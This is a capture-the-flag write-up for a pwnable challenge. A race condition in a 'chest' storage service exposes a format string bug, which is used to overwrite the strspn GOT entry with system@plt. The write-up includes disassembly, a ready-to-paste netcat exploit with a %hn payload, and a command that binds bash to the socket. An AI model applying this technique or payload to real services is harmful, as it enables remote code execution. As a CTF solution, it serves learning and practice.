Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!
300 points, Pwnables, 18 teams solved this
This is one of those challenges where just playing around with it turned out to be faster than actually figuring out what was going on.
This was a remote exploit challenge. The service in question allows you to create “chests” (or data stores) which can hold a certain amount of data. If you add more data, the chest is deleted (“blows up”). You can also destroy a chest yourself. It is possible to access a chest from more than one connection at a time, leading us to suspect a synchronization issue.
Looking at the binary confirms this suspicion, since the program uses a fancy flock()-based synchronization scheme. The presence of a filtering function which strips special (read: format string) characters leads us to suspect that by exploiting a synchronization issue it is possible to get an unsanitized string into a printf somewhere, making a standard format string exploit possible.
While trying to figure out exactly what was going on with the locking, fseek’ing and truncating, another team member was just playing around with the service and managed to make it parse format string characters in a reproduceable manner. Pragmatism ftw 🙂
The sequence to obtain a format string vulnerability is as follows:
What’s more, the ‘system’ function is actually used in the binary, so we don’t even have to go to the effort to dump a libc address. Our exploit will simply patch the GOT entry for the strspn function (which is used to sanitize user input) to point to the PLT entry for ‘system’. Thus, after our format string is evaluated, any further user input will be passed to system() instead of being sanitized. This user input is limited to 25 characters, but this is plenty of characters to start a shell with stdin and stdout redirected to the existing socket (which turns out to be at file descriptor number 4).
The PLT entries for system() and strspn():
08048790 <system@plt>: 8048790: ff 25 9c ab 04 08 jmp DWORD PTR ds:0x804ab9c 8048796: 68 28 00 00 00 push 0x28 804879b: e9 90 ff ff ff jmp 8048730 <open@plt-0x10> 080488e0 <strspn@plt>: 80488e0: ff 25 f0 ab 04 08 jmp DWORD PTR ds:0x804abf0 80488e6: 68 d0 00 00 00 push 0xd0 80488eb: e9 40 fe ff ff jmp 8048730 <open@plt-0x10>
So we want to write 0x8048790 to address 0x804abf0. Because this is next to another GOT entry which is used from time to time we’ll use the nonstandard %hn specifier to strictly write a 16-bit value at a time without spilling over into the next GOT entry with one of the writes.
One more thing remains: our user input will be “sanitized” by strspn before it gets passed to printf, which in practise means the first “bad” char will be replaced with a linefeed. So we add a dummy value at the start which will get overwritten with a linefeed.
Now for the exploit.
First, open a terminal and paste this:
(echo; read; echo 2; echo -e 'ABC%\xf0\xab\x04\x08\xf2\xab\x04\x08%7$34692hx%7$hn%8$32884hx%8$hn'; echo 1; echo 'bash 1>&4 0>&4'; cat) | nc 184.108.40.206 1282
This blocks on the ‘read’ after accepting the default choice of chest name. Open a new terminal and paste the following command (replacing XXXXWdbJ9E with whatever chest name was generated for you in the other terminal):
(echo XXXXWdbJ9E; echo 5; sleep 1) | nc 220.127.116.11 1282
This will destroy the chest being used by the other session. Go back to the original terminal and press enter. This will send the format string, trigger its evaluation, and then send a command which binds a shell to the socket.
Congratulations, you are now in a shell! All you have to do is type “cat key” to get the flag.
And no, I still don’t really know what was going on. I’ll get back to it when I have the time, honest! 🙂